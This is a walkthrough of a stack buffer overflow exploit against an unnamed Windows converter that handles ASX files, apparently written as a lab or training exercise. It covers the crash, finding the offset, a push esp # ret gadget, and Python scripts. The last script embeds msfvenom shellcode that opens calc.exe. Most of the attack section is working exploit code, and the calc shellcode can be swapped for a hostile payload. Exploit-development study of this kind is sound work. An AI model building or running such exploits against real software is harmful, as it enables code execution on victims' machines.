Upon opening the provided exploit file, fuzzing.asx in Notepad++ it’s clear there is some sort of file formatting taking place.

ASX Screenshot 1
Opening up the same file using Wordpad reveals that this is merely a text file and the payload is simply a large string passed in as an HTTP URI. Likely the original file was a rich text file (rtf) format.
ASX Screenshot 2
To confirm the exploit file provided, first launch the executable inside a 32-bit edition of Windows 10
ASX Screenshot 3
Attach Immunity Debugger to the process and let it continue normal execution.
ASX Screenshot 4

Dropping fuzzing.asx into the converter’s gui shows there is a crash. Notably, the EIP register is being overwritten by 4 “A” characters, and the buffer is pointed to by the ESP register.

ASX Screenshot 5

The next step is to determine where exactly in the buffer that the EIP register gets overwritten. To do this first note that the amount of “A” characters used to trigger the overflow is 26031.

ASX Screenshot 6

Use Kali’s msf-pattern_create tool to generate a unique string of characters of length 26031.

ASX Screenshot 7

This unique string needs to be passed in as the payload. To streamline the process of updating and generating the payload file, use a quick python script like below:

############################################
import struct
file = ‘uniqueString.asx’
payload = “http://” + “AAAA…”
f = open(file,’w’)
f.write(payload)
f.close()
############################################

ASX Screenshot 8

Run the script to generate uniqueString.asx

ASX Screenshot 9

Run the converter, attach Immunity to the process, and drop the file in to trigger the crash once again. Note that the EIP
register is now overwritten with “36695735” from the unique string.

ASX Screenshot 10

Using Kali’s msf-pattern_offset determine that the offset starts at 17417 “A” characters which means the next 4 positions in the user-supplied buffer (17418, 17419, 17420, 17421) are the bytes which will overwrite the register.

ASX Screenshot 11

Update the payload with 4 “B” characters in the positions which should overwrite EIP, and a sufficient amount of subsequent “C” characters to preserve the original length of the crash.

############################################
import struct
file = ‘eipCleanOverwrite.asx’
payload = “http://” + “A” * 17417 + “B” * 4 + “C” * (26031 – 17417 – 4)
f = open(file,’w’)
f.write(payload)
f.close()
############################################

ASX Screenshot 12

Trigger the crash again and see that EIP has been overwritten with 42424242

ASX Screenshot 13

Following ESP in the dump shows that the ESP register is pointing to remainder of the buffer of “C” bytes.

Notably, ESP actually points to address 000FC480, skipping the first 4 bytes in the stack immediately following the EIP overwrite.

ASX Screenshot 14

Now that the EIP address is in our control the next step is to find a way to redirect execution flow to the buffer. Specifically, we need a way to point to the ESP register which can be done using a number of techniques, the easiest of which would be leveraging a JMP ESP or CALL ESP instruction.

Using mona.py search for JMP ESP instructions in executable modules that have been loaded into memory.

ASX Screenshot 15

There are two key restrictions we need to abide by in our search for a JMP ESP (and most exploits for that matter):

  1. It resides at a static address in memory, i.e. do not get rebased or randomized by ASLR.
  2. It resides in a module that does not contain null bytes in the base memory address space
  3. (NOT REQUIRED) Preferably resides in a module that comes with the binary as this increases the portability and likelihood of success off the exploit.
    1. Non-OS modules are more likely to be compiled without certain security flags like SAFE SEH
    2. OS modules are more likely to have their address space randomized. Especially in more modern operating systems like Windows 10
    3. Reduces the scope of requirements for success down to just the binary therefore not relying on the OS and being subject to environment-specific changes

With these restrictions in mind a suitable candidate appears to be a push esp # ret instruction at memory address 1003DF73.

ASX Screenshot 16

Plug this address into the exploit, replacing the 4 “B” characters used to overwrite ESP previously. Also now that the order of our bytes matters take into consideration that the byte order will be reversed in memory to meet little endian formatting.

############################################
import struct
file = ‘espRetn.asx’
# 1003DF73 – push esp # ret
payload = “http://” + “A” * 17417 + “\x73\xDF\03\x10” + “C” * (26031 – 17417 – 4)
f = open(file,’w’)
f.write(payload)
f.close()
############################################

Generate a new payload file.

ASX Screenshot 17
Retriggering the exploit ends with execution throwing an Access Violation error…
ASX Screenshot 18

However scrolling up in the disassembler we can see that code execution indeed traversed the buffer of “C” characters first, meaning the execution flow was successfully redirected to the ESP register.

ASX Screenshot 19

Since whatever is in the buffer is now getting executed, the next step is to generate the calc.exe payload using Kali’s msfvenom tool being sure to exclude a few well-known troublesome characters.

ASX Screenshot 20

Drop the shellcode into the exploit as well as prepending a few NOP instructions before it to act as a sled into the payload.

############################################
import struct
file = ‘exploit.asx’
calc = calc = b””
calc += b”\x33\xc9\x83\xe9\xcf\xe8\xff\xff\xff\xff\xc0\x5e\x81″
calc += b”\x76\x0e\x30\xc6\xc6\xef\x83\xee\xfc\xe2\xf4\xcc\x2e”
calc += b”\x44\xef\x30\xc6\xa6\x66\xd5\xf7\x06\x8b\xbb\x96\xf6″
calc += b”\x64\x62\xca\x4d\xbd\x24\x4d\xb4\xc7\x3f\x71\x8c\xc9″
calc += b”\x01\x39\x6a\xd3\x51\xba\xc4\xc3\x10\x07\x09\xe2\x31″
calc += b”\x01\x24\x1d\x62\x91\x4d\xbd\x20\x4d\x8c\xd3\xbb\x8a”
calc += b”\xd7\x97\xd3\x8e\xc7\x3e\x61\x4d\x9f\xcf\x31\x15\x4d”
calc += b”\xa6\x28\x25\xfc\xa6\xbb\xf2\x4d\xee\xe6\xf7\x39\x43″
calc += b”\xf1\x09\xcb\xee\xf7\xfe\x26\x9a\xc6\xc5\xbb\x17\x0b”
calc += b”\xbb\xe2\x9a\xd4\x9e\x4d\xb7\x14\xc7\x15\x89\xbb\xca”
calc += b”\x8d\x64\x68\xda\xc7\x3c\xbb\xc2\x4d\xee\xe0\x4f\x82″
calc += b”\xcb\x14\x9d\x9d\x8e\x69\x9c\x97\x10\xd0\x99\x99\xb5″
calc += b”\xbb\xd4\x2d\x62\x6d\xac\xc7\x62\xb5\x74\xc6\xef\x30″
calc += b”\x96\xae\xde\xbb\xa9\x41\x10\xe5\x7d\x36\x5a\x92\x90″
calc += b”\xae\x49\xa5\x7b\x5b\x10\xe5\xfa\xc0\x93\x3a\x46\x3d”
calc += b”\x0f\x45\xc3\x7d\xa8\x23\xb4\xa9\x85\x30\x95\x39\x3a”
calc += b”\x53\xa7\xaa\x8c\x1e\xa3\xbe\x8a\x30\xc6\xc6\xef”
# 1003DF73 – push esp # ret
payload = “http://” + “A” * 17417 + “\x73\xDF\03\x10” + “\x90” * 16 + calc + “C” * (26031 – 17417 – 4 -16 – len(calc))
f = open(file,’w’)
f.write(payload)
f.close()
############################################

ASX Screenshot 21

Generate the new payload file exploit.asx and trigger the exploit with Immunity attached.

The shellcode is properly executed and it opens up calc.exe.

ASX Screenshot 22

Confirm this works without Immunity being attached and also confirm the exploit file still works even after reboots of the OS to ensure none of the addresses being used in the exploit are subject to ASLR.

ASX Screenshot 23